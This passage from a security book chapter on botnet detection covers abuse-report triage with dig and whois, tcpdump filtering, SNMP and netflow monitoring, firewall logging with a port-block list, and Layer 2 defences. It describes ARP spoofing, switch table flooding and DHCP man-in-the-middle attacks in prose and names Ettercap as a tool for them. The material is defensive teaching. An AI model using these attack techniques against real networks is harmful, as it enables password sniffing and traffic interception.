SECTION:\n;exploited.lsass.org.\nIN\nA\n;; ANSWER SECTION:\nexploited.lsass.org.\n56070\nIN\nA\n10.0.0.1\nexploited.lsass.org.\n56070\nIN\nA\n10.2.2.3\nexploited.lsass.org.\n56070\nIN\nA\n192.168.249.146\n;; AUTHORITY SECTION:\nlsass.org.\n68614\nIN\nNS\nns.dns.somecountry.\nlsass.org.\n68614\nIN\nNS\nns.dns2.somecountry.\n;; ADDITIONAL SECTION:\nns.dns.somecountry.\n68572\nIN\nA\n10.3.4.5\n$ dig -x 192.168.249.146\n;; QUESTION SECTION:\n;146.249.168.192.in-addr.arpa. IN\nPTR\n;; AUTHORITY SECTION:\n168.192.in-addr.arpa.\n1800\nIN\nSOA\ndnsserver.enormoussu.edu\n- --\nNancy Netadmin\nVoice\n: XXX.123.1234\nBIGISP Operations & Systems Engineer Fax\n: XXX.123.1345\nComputing Center\nEmail\n: nancyn@bigisp.net\nThis message poses some interesting questions, including:\n■\nWhat does it mean?\n■\nWhere did I put the aspirin again?\n■\nWhat can we do about it?\n■\nHow can we prevent it from happening again?\nNancy has been kind enough to tell us that we have a bot server on our\ncampus. We should disconnect it from the Internet immediately and sanitize\nthe host and any other local hosts that might be taking part in the botnet.\nHowever, forensics and cleanup, although mentioned later in the chapter, are\nwww.syngress.com\n136\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 155, "text": "not germane to our discussion at this point.The point is that the DNS name\nexploited.lsass.org was being used by a botnet so that botnet clients could find\na botnet server.Typically, botnet experts have observed that a botnet will ren-\ndezvous on a DNS name using dynamic DNS.The clients know the DNS\nname and can check it to see whether the IP address of the server has\nchanged.This is one method the botnet owner can use to try to keep the\nbotnet going when the botnet server itself is destroyed.The botnet master has\nto get another IP address and use Dynamic DNS to rebind the existing name\nto a new IP address. Getting another IP address is not that hard if you own\n50,000 hosts. One lesson is simple:A botnet client can become a botnet\nserver at any time.This system might have started as an ordinary bot and\ngotten promoted by its owner.Another one is fairly simple and obvious too\nbut needs repeating:Take down the botnet server as quickly as possible.\nThe DNS information in the message shows the DNS name to be\nmapped to several IP addresses, including one on the local campus. It also\nshows the DNS servers (presumably sites hosting dynamic DNS).The dig –x\ncommand was used to do a reverse PTR lookup (IP address to DNS name)\nof the IP address to show which DNS site (the local site) was hosting the\nPTR record itself.\nNotes from the Underground…\nMore about lsass.exploited.org\nSymantec’s Web site discusses related malware at www.sarc.com/\navcenter/venc/data/w32.spybot.won.html. They named this malware\nW32.spybot.won and noted that IRC may be used as the command and\ncontrol channel. They mention the name exploited.lsass.org and var-\nious Microsoft security bulletins, including MS 03-026, Buffer Overrun\nin RPC Interface Could Allow Code Execution (www.microsoft.com/\ntechnet/security/bulletin/MS03-026.mspx). We suspect that there is a\nlikely relationship between the name of the DNS-based C&C\n(lsass.exploited.org) and its attacks against the Microsoft file share\nsystem. \nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n137\n" }, { "page_number": 156, "text": "One remaining question is, how you might report abuse? This is done\nthrough the various registries and can be done over the Web using a browser,\nor with the traditional UNIX whois command as follows:\n# whois –h whois.arin.net 192.168.249.146\nOrgName:\nEnormous State University\nOrgID:\nENORMOUSSU-X\nAddress:\nXXX XX XXXX Street\nAddress:\nSuite XXXX\nCity:\nEnormoustown\nStateProv: SOMESTATE\nPostalCode: XXXXX\nCountry:\nUS\nNetRange:\n192.168.0.0 - 192.168.255.255\nCIDR:\n192.168.0.0/16\nNetName:\nENORMOUSSU-NET\nNetHandle: NET-192-168-0-0-1\nParent:\nNET-192-0-0-0-0\nNetType:\nDirect Assignment\nRTechHandle: XXXXX-ARIN\nRTechName:\nNetguy, Rick\nRTechPhone: +X-XXX-XXX-XXXX\nRTechEmail: netguyr@enormoussu.edu\nOrgAbuseHandle: ABUSEXXX-ARIN\nOrgAbuseName:\nAbuse\nOrgAbusePhone: +X-XXX-XXX-XXXX\nOrgAbuseEmail: abuse@enormoussu.edu\nwww.syngress.com\n138\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 157, "text": "TIP\nWHOIS information can be looked up on the Web at sites provided by\nthe various registries. For example, see:\nwww.arin.net, for North America for the most part\nwww.apnic.net, for the Asian Pacific region\nwww.ripe.net, for Europe\nhttp://lacnic.net, for Latin America\nwww.afrinic.net, for Africa \nArin has a Web page discussing the ins and outs of abuse handling\nat www.arin.net/abuse.html. Also visit www.abuse.net. \nSpam and Abuse\nWe are not going to say a lot about spam in this chapter other than to point\nout a few things. If you get abuse e-mail that is from the outside world telling\nyou that you are sending spam, you should carefully check it out. It might be\nevidence of botnet activity.There are a number of considerations here:\n1. If you have a machine sending spam, your entire domain or subdo-\nmain could end up blacklisted, which is not helpful. It can be very\ncostly in terms of downtime vis-à-vis normal business. Preventive\nsecurity measures against exploits are always a good thing in the first\nplace. Repair of boxes infected with spambots is, of course, also\nneeded.\n2. Be wary of open proxies on your site.An open proxy is a site that\naccepts connections from an IP address and then resends the connec-\ntion back to another IP address. Spammers commonly search for such\nsystems.They are also created by spammers via malware, to serve as\nlaundering sites for spam.An open proxy can indicate an infected\nhost. Hosts that have equal but high volumes of network traffic both\nto and from them should be regarded with some suspicion.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n139\n" }, { "page_number": 158, "text": "TIP\nThe site www.spamcop.net provides a number of spam-related ser-\nvices, including spam reporting, DNS blacklists for spam weeding at\nmail servers, and useful information about the entire spam phe-\nnomenon from the mail administration point of view. The site\nwww.lurhq.com/proxies.html contains an older (2002) article about\nopen proxies that is still worth reading. \nNetwork Infrastructure: \nTools and Techniques\nIn this section we focus on network infrastructure tools and techniques. We\nwill briefly discuss a few network-monitoring tools that, in addition to their\nprimary network traffic-monitoring task, often prove useful in detecting\nattacks. We also briefly talk about various isolation measures at both Layer 3\nand Layer 2 (routing versus switching) that can, of course, include commercial\nfirewalls, routers using access control lists (ACLs), and other network confine-\nment measures. Logging can play a role here as well. Our goal as always is to\nspot the wily botnet, especially in terms of DoS attacks or possible scanning.\nFigure 5.1 shows a very general model for sniffers and other network\ninstrumentation.We can distinguish a couple of cases that are commonly in use:\n■\nYou may hook a sniffer box (first-stage probe) up to an Ethernet\nswitch or hub for packet sniffing. Here we assume that a switch has\nto be set up to do port mirroring.That means Unicast packets that,\nfor example, go to and from the Internet are also sent to the probe\nport.A hub “mirrors” all packets by default. In some cases you might\nneed to invest in expensive optical-splitting equipment or the like if\nyour desire is to sniff a point-to-point WAN/telco connection.This\nsimple model fits the use of simple sniffing tools, including commer-\ncial and open-source sniffers as well as more complex IDS systems\n(such as Snort, discussed in a moment).This is a so-called out-of-line\nsolution.Typically sniffers are not in the data path for packets.\nwww.syngress.com\n140\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 159, "text": "However, firewalls typically are in the data path for packets and are\nconsequently said to be “in-line” devices.\n■\nMore complex setups may have one or more probes hooked up to\nswitches.The probes may in turn send aggregated data to a central\nmonitoring system (second-stage analysis box), which can provide\nlogging, summarization and analysis, and visualization (graphics).\nTraditional SNMP Remote Monitoring (RMON) probes function in\nthis manner.The very common netflow system may work like this if\nyou are running an open-source netflow probe daemon on a PC.The\nourmon network-monitoring and anomaly detection system pre-\nsented elsewhere in this book fits this model.\n■\nIn another common variation, the “probe” and the network infras-\ntructure gear (routers and Ethernet switches) are essentially the same\nbox.You simply collect data directly from the routers and switches.\nTypically using SNMP, for example, with RRDTOOL-based tools\nsuch as traditional MRTG, or Cricket (see http://oss.oetiker.ch/rrd-\ntool/rrdworld/index.en.html for a list of such tools), a central data\ncollection box polls network infrastructure gear every few minutes. It\ncollects samples of per-port statistics like bytes in and bytes out, as\nwell as CPU utilization values and other data variables available via\nSNMP Management Information Bases (MIBS).The popular netflow\ntool may also be set up in such a manner using a Cisco router or\nswitch to collect flows (a statistic about related packets), which are\npushed out periodically to a collection box. We will discuss SNMP\nand netflow in a little more detail in a moment.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n141\n" }, { "page_number": 160, "text": "Figure 5.1 Network-Monitoring Infrastructure \nOpen-source sniffers include tcpdump (www.tcpdump.org) and Wireshark\n(www.wireshark.org). It is possible that you could run a sniffer and collect all\npackets, but this is not reasonable if the packet load is high.You are more\nlikely to use a sniffer when you have a target and can produce a filter expres-\nsion that is more closely focused on a likely culprit. For example, our abuse e-\nmail might easily be about a scanning host or host sending spam with an IP\naddress 192.168.1.1. In the former case, we might choose to run tcpdump to\nsee what the host in question is doing, as follows:\n# tcpdump –X –s 1500 host 192.168.1.1\nHere we use –X to give ASCII and hex dumps and a parameter such as –s\n1500 to get the entire data payload as well. We might examine netflow logs as\nwell if they’re available.\nThere is an important next step here of which an analyst should be aware.\nIf you determine that you have a bot client, you might be able to find the\ncommand and control channel. For example, assume that 192.168.1.1 is a\nbotnet client and that you observe it talking TCP with IRC commands (such\nas JOIN, PRIVMSG, NICK, and so on) to a remote IP address at 10.1.2.3.\nThen it might make sense to turn to see what 10.1.2.3 is doing.\nwww.syngress.com\n142\nChapter 5 • Botnet Detection: Tools and Techniques\nInternet\nSwitch or Hub\nPackets\nFirst Stage Probe\nProbe Outputs\nSecond Stage Analysis Box\nAnalysis Functions can Include:\n1. Data Logging\n2. Analysis\n3. Visualization\n" }, { "page_number": 161, "text": "# tcpdump –X –s 1500 host 10.1.2.3\nAs a result, you could find a bot server that is busy talking to more than\none host on your own campus.There also could be a signal-to-noise problem.\nIn general, wherever possible, narrow the filter to be more specific. For\nexample, with the client it might be doing Web traffic that you don’t care\nabout, but you know that it is talking to a suspicious host on port 6668. In\nthat case use a more specific filtering expression, as follows:\n# tcpdump –X –s 1500 host 192.168.1.1 and tcp port 6668\nSniffers are necessary tools, even though they are incredibly prone to\nsignal-to-noise problems simply because there are too many packets out there.\nBut they can help you understand a real-world problem if you know precisely\nwhere to look. Besides garden-variety sniffers, we have other forms of “snif-\nfers,” including Snort, which—although billed as an intrusion detection\nsystem—is also a sniffer. It can also be viewed as a parallel sniffer capable of\nwatching many hosts (or filters) at the same time. In the last ourmon chapter\n(Chapter 9), we also talk about ngrep, which is a sniffer that basically is ASCII\nstring oriented and can be used to look for “interesting” string payloads in\npackets.\nSNMP and Netflow: Network-Monitoring Tools \nIn this section we briefly discuss tools typically used for network monitoring\nand management. Here the primary focus is usually learning just how full the\nnetwork “pipes” are, in case you need to buy a bigger WAN connection or\nbigger routers or Ethernet switches.You might also be interested in knowing\nwho is talking to whom on your network, or traffic characterization, or\nwhether a heavily used server needs a faster interface. From the anomaly\ndetection point of view, it is often the case that these tools can be useful in\nterms of detecting network scanning, botnet spam outbursts, and, of course,\nthe ever-popular DoS or DDoS attack.All these may be botnet manifesta-\ntions. For the most part we will confine ourselves to mentioning open-source\ntools. However, it is reasonable to point out that Cisco is the market leader\nfor network infrastructure gear when it comes to netflow-based tools.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n143\n" }, { "page_number": 162, "text": "SNMP\nIn Figures 5.2 and 5.3 we show two examples of DoS attacks as captured\nwith an open-source SNMP tool called Cricket (see http://cricket.source-\nforge.net). Cricket uses RRDTOOL to make graphs (see\nhttp://oss.oetiker.ch/rrdtool/rrdworld/ for other possible tools that use\nRRDTOOL). Figure 5.2 graphs an SNMP MIB variable that shows router\nCPU utilization.This is an integer variable that varies from 0 to 100 percent,\nthe latter of which means that the CPU utilization is very high.This router is\n“having a bad day” due to a DoS attack that has forced its CPU utilization to\nbe astronomical for a long period of time.This can impact the router’s perfor-\nmance in many ways, including damaging your ability to log into it as an\nadministrator, reducing its ability to route, and possibly damaging its ability to\nrespond to SNMP probes from SNMP managers trying to learn about the\nattack. Note that the attack went on for at least 12 hours and was finally\ncaught and eliminated.You can see that the load finally dropped drastically\naround noon.\nFigure 5.3 shows a switch port graph. Here the SNMP system is graphing\nbytes in and bytes out from a given switch port hooked up to a single host.\nGraphing input and output (of bytes or packets) is probably the most tradi-\ntional SNMP measurement of all. Here a host has been hacked and has\nlaunched a DoS attack outward bound. We know it is outward bound because\nthis graph is taken from the switch’s point of view. For the switch,“in” means\n“out from the host” because traffic is coming into the switch port. Probably\nthis host only has a 100 megabit Ethernet card; otherwise, the DoS attack\nwould have been worse. (But it is still pretty bad.) A router CPU utilization\ngraph, of course, does not tell which host launched the attack. But the correct\nswitch port graph is a pretty useful giveaway. If nothing else, you can physical\nor remotely access the switch and disable the switch port.\nwww.syngress.com\n144\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 163, "text": "Figure 5.2 DoS Attack: Cricket/SNMP Router CPU Utilization\nFigure 5.3 DoS Attack: Cricket/SNMP Graph of Single Host Traffic\nSNMP setup pretty much follows our discussion about probes and analysis\nboxes in the previous section. Cricket runs on a collection (analysis) box and\nprobes switches and routers with SNMP requests every 5 minutes. Results are\nmade available on the Web as graphs. Information is baselined over a year.As\na tool, Cricket has a nice setup that is object-oriented in terms of configura-\ntion commands.This allows bits of configuration that are more global to be\neasily applied to subsets of switch or router hosts.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n145\n" }, { "page_number": 164, "text": "In practice, it is a very good idea to put every router or switch port in an\nenterprise (and every router or switch that has an SNMP CPU utilization\nvariable) into your SNMP configuration.As a result, by looking at graphs like\nthose produced by Cricket, you might be able to actually find an internal\nattacking host. Sometimes the problem with an attack is that if you do not\nhave other sources of information, you may not know the IP address of the\nattacker. (Netflow or ourmon in the next chapter might help here, but large\nDoS attacks can put some tools out of commission.) Worse, you might also\nnot know where the attacking host is physically located. In extreme cases,\nnetwork engineers have had to chase hosts down through a hierarchy of\nswitches in wiring closets using a sniffer. Sometimes SNMP-based tools might\nbe able to extract configuration labels from network interfaces in switches and\nrouters and display them with the relevant graph.Thus labeling interfaces in\nswitches and routers with location information, IP addresses, or DNSNAMES\ncan be extremely useful in a crisis situation.This is especially important when\nyou have a DoS attack, as in Figure 5.3. If this attack is headed out to the\nInternet, it can easily plug up a more external WAN circuit because WAN\ncircuits typically have less bandwidth than internal Ethernet NICs.A host\nwith a gigabit NIC launching an attack outward bound is both very possible\nand very traumatic for both you and any upstream ISP.\nNetflow\nSNMP tools might only give you information about the amount of traffic in\nyour network and not tell you anything much about either traffic types or IP\nnetwork-to-network traffic flows.As a result, other tools such as netflow can\nbe used to peer more deeply into the net to deduce busy networks and to do\nprotocol analysis. Netflow was originally designed by Cisco as a router-\nspeedup mechanism. Later it became an industry standard for network moni-\ntoring and is useful for analyzing routing (BGP/AS traffic matrixing) as well\nas IP network-to-network traffic.As with SNMP, a network-monitoring tool\ncan be used to detect anomalies such as DoS attacks. Furthermore, because\nnetflow data includes IP addresses and ports, it can be used to look for scan-\nning attacks.\nNetflow has many formats at this point, but traditionally a flow is more or\nless defined as a one-way data tuple consisting of the following: IP source and\nwww.syngress.com\n146\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 165, "text": "destination address,TCP or UDP source and destination ports, IP protocol\nnumber, flags (possibly including TCP control flags like SYNs and FINS),\npacket and byte counts, start- and end-of-flow timestamps, and other infor-\nmation.Thus a flow represents an aggregated statistic.A flow is not a packet; it\nis an aggregated statistic for many packets.Also, it does not typically include\nany Layer 7 information.You cannot use flows to look for viral bit patterns in\nthe data payload as you can with an intrusion detection system (IDS) like\nSnort.Typically applications are identified via well-known ports (as with ports\n80 and 443 for network traffic). Of course, this might be wrong if the hackers\nare using port 80 for an IRC command and control channel.\nTypically, flows may be captured at a probe that could be a (Cisco) switch\nor router.This is very convenient in the sense that you do not need an extra\npiece of gear.You may simply own a system that can be used for netflow,\nalthough you might have to purchase more hardware to make it happen. On\nthe other hand, a UNIX-based host might be used to do the flow collection\nvia a switch with a port-mirroring interface.\nFlows are typically collected via some sort of sampling technique, since\ncollecting all the flow information can easily be beyond the CPU scope of a\nrouter. Information is also usually collected with a certain amount of latency\nbecause the probe has to somehow decide when a “flow” is finished. Under\nsome circumstances, the “finished” state is not easy to determine. (Consider a\nUDP flow:TCP has control packets, so a flow can be finished at a FIN but\nUDP has no control state.) Sooner or later, flows are kicked out to a col-\nlecting system via UDP. When flows reach the collector, they are typically\nstored on hard disk. Later they might be queried (or graphed) via various ana-\nlytical tools.\nAlthough Cisco has commercial tools, we want to mention two sets of\nopen-source tools that could prove useful for flow analysis. One set is the\nwell-known flow-tool package (found at www.splintered.net/sw/flow-tools).\nNote that it has a tool called flow-dscan for looking for scanners.Another\ntoolset of note is Silktools from CERT, at CMU’s Software Engineering\nInstitute.You can find this toolset at Sourceforge (http://silktoolslsource-\nforge.net). Silktools includes tools for packing flow information into a more\nconvenient searchable format and an analysis suite for querying the data.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n147\n" }, { "page_number": 166, "text": "There is a lot of information on the Internet about netflow tools.You\nneed only visit www.cisco.com and search on netflow to find voluminous\ninformation. In addition to information on Cisco, we include a tip section as\na suggestion for places to look for more netflow tools and information.\nTIP\nSilk tools: http://silktools.sourceforge.net\nFlow tools: www.splintered.net/sw/flow-tools\nDave Plonka’s RRDTOOL-based FlowScan tool (other tools, too):\nhttp://net.doit.wisc.edu/~plonka/packages.html\nFlowScan in action at UW-Madison: wwwstats.net.wisc.edu\nPaper by Jana Dunn (2001) about security applications of netflow:\nwww.sans.org/reading_room/whitepapers/commerical/778.php\nSecurity-oriented tutorial to netflow by Yiming Gong (2004) in two\nsections: www.securityfocus.com/infocus/1796 and\nwww.securityfocus.com/infocus/1802\nFirewalls and Logging \nDuring the Blaster and Welchia worm outbreaks, the first signs of the out-\nbreak were not picked up by our AV tools; rather, they were noticed in the\nfirewall logs.The outbound traffic from these worms trying to recruit others\nwas blocked and recorded by the firewall. In our daily examination of the\nprevious night’s traffic, we noted a dramatic increase in the number of\nblocked messages, all on the same port. Because the information security pro-\nfession had recently warned about the potential vulnerabilities, we knew\nexactly what it was as soon as we saw it. It was several days before our AV\nproduct began to detect the worm.The point is that firewall logs can be very\nuseful in spotting infected hosts, especially when you are denying bad things\nfrom getting in or out. I am not a lawyer, but since there are firewalls to fit\nevery size organization and budget, not having one is probably grounds for\nclaims of negligence.This is the modern-day equivalent of a tug boat operator\nwhose tug sank because he didn’t purchase a weather radio even after all of\nhis colleagues had bought one.The argument of “having a high-speed pipe\nwww.syngress.com\n148\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 167, "text": "and therefore a firewall wouldn’t keep up” reminds me of a recent bumper\nsticker stating that “you should never drive faster than your guardian angel\ncan fly.” It doesn’t matter how fancy your firewall is—whether it a host fire-\nwall, a commercial version, or just router-based access control lists (ACLs). If\nyou just monitor them, you will see “interesting” traffic.\nOne thing, though, is that if you have been paying attention, you probably\nhave noticed that the Internet is attacking you 24/7. Given that situation, it\nmakes sense to watch your firewall or router ACL logs to see if you are\nattacking the Internet. For example, look at the following Cisco router log:\n/var/log/cisco.0:Nov 26 02:00:01 somerouter.foo.com 390484: 5w1d: %SEC-6-\nIPACCESSLOGP: list 104 denied tcp 192.168.1.1(46061) -> 10.32.5.108(25), 1\npacket\n/var/log/cisco.0:Nov 26 02:00:05 somerouter.foo.com 390487: 5w1d: %SEC-6-\nIPACCESSLOGP: list 104 denied tcp 192.168.1.1(46067) -> 10.181.88.247(25), 1\npacket\n/var/log/cisco.0:Nov 26 02:00:06 somerouter.foo.com 390489: 5w1d: %SEC-6-\nIPACCESSLOGP: list 104 denied tcp 192.168.1.1(46070) -> 10.1.1.81(25), 1\npacket\n/var/log/cisco.0:Nov 26 02:00:07 somerouter.foo.com 390490: 5w1d: %SEC-6-\nIPACCESSLOGP: list 104 denied tcp 192.168.1.1(46074) -> 10.163.102.31(25), 1\npacket\nBe grateful. Only a few entries for this particular incident are shown; we\ndeleted thousands more and have laundered the IP addresses. 192.168.1.1 is\nan infected internal “spambot” host trying to send spam outside the network,\npresumably to a list of external hosts elsewhere. It can’t connect, so all we see\nare TCP SYN packets aimed at port 25 on external hosts. Essentially the\nCisco router spotted and stopped it from getting to the Internet.This is\nbecause port 25 for ordinary DHCP-using hosts inside the network was\nblocked. It is considered a best practice to require all outbound SMTP traffic\nto go through official e-mail gateways to get to the Internet. Blocking all\nother port 25 traffic will also give you a warning whenever a spambot takes\nup residence.\nTo reinforce this point, consider the following absolute barebones firewall\npolicy in terms of botnet activity. Of course, it represents the past, but the past\nhas a tendency to repeat itself. It also is not necessarily entirely botnet related,\nbut it exemplifies malware still lurking on the Internet. For example, SQL-\nslammer at UDP, port 1434, is still out there waiting to get in:\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n149\n" }, { "page_number": 168, "text": "■\nBlock ports 135-139, and 445 due to numerous exploits aimed at\nMicrosoft File Share Services.\n■\nBlock access to port 25 for officially recognized e-mail servers.\n■\nBlock access to ports (TCP) 1433, and (UDP) 1434.The\nformer is due to widespread SQL password-guessing attacks and the\nlatter due to the SQL slammer, of course.\nBy blocking these ports and logging the results, you can gain a warning\nwhen some of your internal hosts become infected.You can also configure\nthe firewall to alert you when these occur, to improve your response time to\nthese infestations.\nRemember, this list is a minimum, but it is effective, given botnet attacks\nagainst Microsoft File Share (CIFS) and spammers as well as certain historic\nattacks.A local site with a small set of rules that falls into the bad security\npractice called “access all, deny a few” should also factor in local experience\nbased on local incidents. On the other hand, if you are blocking nearly every-\nthing with the classic corporate firewall and you log the blocked traffic, you\nwill see interesting things. If a bug gets loose on the inside, it might get loose\nagain, due to either fan-out or the fact that once hackers discover a local hole,\nthey could try to see if you repeated that hole elsewhere on your site.This is\nbecause infection may arrive over VPNs, mobile hosts (or USB earrings), e-\nmail attachments, Web surfing, and even P2P applications. Firewall logging is\nan essential part of defense in depth.\nTIP\nHere are two classic books on firewalls that are worth reading:\nBuilding Internet Firewalls (Second Edition), Zwicky, Cooper,\nChapman; O’Reilly, 2000\nFirewalls and Internet Security (Second Edition), Bellovin, Cheswick,\nRubin; Addison-Wesley, 2003\nThe first edition is available free online at\nwww.wilyhacker.com/1e/.\nwww.syngress.com\n150\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 169, "text": "Layer 2 Switches and Isolation Techniques\nLayer 2, meaning Ethernet switches, might be a topic that most people do not\nconsider very much or very long in terms of security. But some attacks can\ntake advantage of weaknesses at Layer 2. For example, consider the popular\nEttercap tool (http://ettercap.sourceforge.net), which fundamentally relies on\nattacks such as ARP spoofing or filling a switch forwarding table full of fake\nMAC addresses to enable password sniffing. (See www.securitypronews.com/\nsecuritypronews-24-20030623EtterCapARPSpoofingandBeyond.html for\nmore discussion of Ettercap-based attacks.) \nWe need to define a few terms before we go on:\n■\nBroadcast domain Essentially, a broadcast domain on Ethernet is\nthe set of systems reachable by an ARP broadcast. If one host sends\nan Ethernet broadcast, all the other hosts that receive the broadcast\npacket are in the broadcast domain.These days a broadcast domain\ncan be a virtual as well as a physical idea. Ethernet switches are\ncapable of using Virtual LANS (VLANS) so that ports (interfaces) on\nmore than one switch can be “glued together” to make a virtual net-\nwork.At least one and sometimes more IP subnets can exist in a\nbroadcast domain.\n■\nUnicast segmentation This idea is an old Ethernet bridge notion\ncarried over to modern Ethernet switches. Essentially, the switch tries\nto learn which MAC address is associated with which port.This pro-\ncess is called adaptive learning.The hoped-for result is called Unicast\nsegmentation. For example, if two hosts in the broadcast domain are\ncommunicating via Unicast packets (say,A and B) and the switch for\nsome reason does not know the port for host B, it will flood the\npackets for B out other ports (say C, D, and E). If it does know where\nB is to be found, then C will not see the packets.This keeps C’s\nswitch connection uncluttered in terms of bandwidth. It also means\nthat C is not able to “sniff”A and B’s conversation unless explicit\ntechniques such as turning on port mirroring in the switch or\nimplicit techniques such as a switch forwarding table attack (discussed\nlater) are used.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n151\n" }, { "page_number": 170, "text": "■\nARP spoofing A host in a local subnet has decided to broadcast an\nARP packet to attempt to overwrite ARP caches in other hosts.As a\nresult, the spoofing host steals another host’s IP address on the subnet.\nThus the ARP cache entry for a benign host X that consists of X’s\nIP, and Layer 2 MAC address are overwritten with evil host E’s MAC\naddress. Note that E is usurping X’s IP address. Our evil host E is\nsimply replacing X’s MAC with E’s MAC address in some third-party\nhost Z’s ARP cache. Now when Z tries to talk to X (good), the\npackets first go to E (evil).Typically but not always, E tries to replace\nthe local router’s MAC address with its own address.This allows it to\nsee all the packets good hosts are trying to send to and from the\nInternet and enables an entire bag full of possible man-in-the-middle\n(MITM) attacks.This form of attack is sometimes called ARP poi-\nsoning as well.\n■\nSwitch forwarding table overflow One common way to implic-\nitly disable Unicast segmentation is to send out enough MAC\naddresses to cause the switch’s adaptive learning table (which has\nmany names, depending on the vendor, including CAM table, for-\nwarding table, and the like) to fill up with useless cruft.As a result,\nUnicast segmentation may be turned off, and packets from A to B, as\nin our previous example, will be flooded to C.This sort of attack is,\nof course, not likely to be benign and is available via the Ettercap\ntool or other similar tools.\nThe next worst thing to having a malefactor standing physically next to a\nprotected computer is to have the attacker within the same ARP broadcast\nrange of a protected host. Until recently there has been little useful protection\nagainst some forms of attack in the same broadcast domain. One could also\npoint out that ARP and DHCP as fundamental networking protocols lack\nauthentication. Moreover, other protocols might assume that nearby hosts are\n“safe” and hence use plain-text passwords to contact those systems, or simply\nsend in the clear data that’s possibly useful for identity theft.\nSome have called having only a border firewall and no other defenses\n“M&M security,” meaning that the border firewall represents a hard, crunchy\nshell that, once pierced, leads to a soft, chewy middle. In a recent blog entry\nwww.syngress.com\n152\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 171, "text": "(http://blogs.msdn.com/larryosterman/archive/2006/02/02/523259.aspx),\nLarry Osterman took a rather humorous slant on this in comparing a DMZ\nfirewall to the French Maginot Line in World War II.The French built a great\ndefense wall to keep the Germans out. Unfortunately, the Germans simply\ndrove north around it.The lesson is that it is reasonable to consider defense in\ndepth for hosts within a firewall enclave.These techniques can include host\nfirewalls and cryptographic protocols.They can also include Layer 2 tech-\nniques as one more form of defense in depth.The good news about Layer 2\ntechniques is that they are not per host but can be centrally administered by a\nnetwork engineer.\nMalware spread via botnets or other means could choose to launch\nattacks, including:\n■\nARP spoofing This is especially useful in the case where an\nattacking host on a local subnet chooses to masquerade as the router\nto allow it to view or change packets from the attacked host to the\nrest of the network.\n■\nSwitch table flooding with the common goal of password\nsniffing Put another way, the defeat of traditional Unicast segmenta-\ntion in an Ethernet switch means that the host running the packet\nsniffer might be able to see packets (especially plain-text passwords)\nthat it might not otherwise be able to observe.\n■\nDHCP attacks For example, an attacking system might simply\nintercept DHCP requests and substitute itself as the local router. In\naddition to ARP spoofing, this could be another form of MITM\nattack.\nThis is not an exhaustive list of Layer 2 attacks, but we will confine our-\nselves to this list for the time being, since the first two scenarios are more\ncommon in our experience.\nSo, do the good guys have any tricks up their sleeves? Yes, a few.The tricks\ncan be divided into two categories: switch configuration, which must rely on\nvendor features, and infrastructure tricks, which hopefully can be done by any\nnetwork engineer with most hardware.\nwww.syngress.com\nBotnet Detection: Tools and Techniques • Chapter 5\n153\n" }, { "page_number": 172, "text": "Cisco switches have long supported a port security feature in a number of\nvariations. For example, a switch can be configured to statically lock down a\nMAC address, or it can be configured to dynamically learn the first MAC\naddress it sees.This makes flooding the switch table unlikely.A number of the\nswitch configuration features are relatively new in the world and can be\nfound in recent Cisco Catalyst switches. See Charlie Schluting’s excellent\narticle, Configure Your Catalyst For a More Secure Layer 2, for more information:\nwww.enterprisenetworkingplanet.com/netsecur/article.php/3462211.\nSchluting tells us that:\n■\nCisco switches can track DHCP assignments.Therefore, they know\nwhich IP address is associated with which MAC address at which\nport.This feature is called DHCP snooping. DHCP snooping enables\nother features and helps protect against the possibility of a DHCP-\nbased MITM attack because the switch ends up knowing where the\nreal DHCP server lives.\n■\nA related feature called IP Source Guard means that a host cannot use\nanother IP than the one assigned to it with DHCP.\n■\nIn addition, the switches have an ARP spoofing feature called dynamic\nARP inspection.This feature prevents the switch from allowing ARP\nspoofing attacks.The IP address and MAC address must match.\nThese new features, along with traditional port security, can help make the\nLayer 2 switched environment much safer.\nFrom the infrastructure point of view, here are several techniques that\ncould help security:\n1. Limit the number of hosts in a VLAN (or broadcast domain) as much\nas possible. From a redundancy point of view, it has never been a\ngood idea to have all hosts in an enterprise on one IP subnet, simply\nbecause a broadcast storm or Layer 2 loop can take out the subnet.\nBut if you consider password-sniffing attacks (or even password-\nguessing attacks), it could be useful to limit the number of hosts in\nthe subnet anyway. For example, knowledge of an ARP table on an\nexploited host gives the exploiter knowledge about possible fan-out\nattacks. If you reduce the possible size of the ARP table, the scope of\nwww.syngress.com\n154\nChapter 5 • Botnet Detection: Tools and Techniques\n" }, { "page_number": 173, "text": "the fan-out attack can be reduced.This design idea simply limits\nexposure to possible Layer 2 problems from both from the redun-\ndancy point of view and the “your neighbors might be dangerous”\npoint of view.\n2. The default ARP cache timeout value on Cisco routers is 4 hours.\nThe default forwarding table timeout on switches is likely to be 5\nminutes. Ironically, adaptive learning in Layer 2 switches is typically a\nside effect of an ARP broadcast.As a result, the switch learns where\nthe sender lives and stops flooding Unicast packets to it in the direc-\ntion of other hosts. If, however, the flooding is happening because the\nswitch does not know where the host is to be found and a hacker\ninstalls a password sniffer on another host, the hacker could see\nUnicast packets you would very much like for them to not see.The\nhacker does not need to attack the switch with a forwarding table\noverflow attack.All he or she needs to do is wait, and, of course, pro-\ngrams are very good at waiting.You might set the switch forwarding\ntable time to match the router or choose a compromise time with\nthe forwarding table time set higher and the router time set lower. In\nany case, setting them to be the same to minimize Unicast segmenta-\ntion failure seems a good idea.\n3. It can be useful to combine VLANs on switches and router ACLs to\nsimply make IP addresses assigned to network infrastructure devices\nsuch as wireless access points and Ethernet switches unreachable by\nordinary hosts. For example, all the switch ports might be “findable”\non 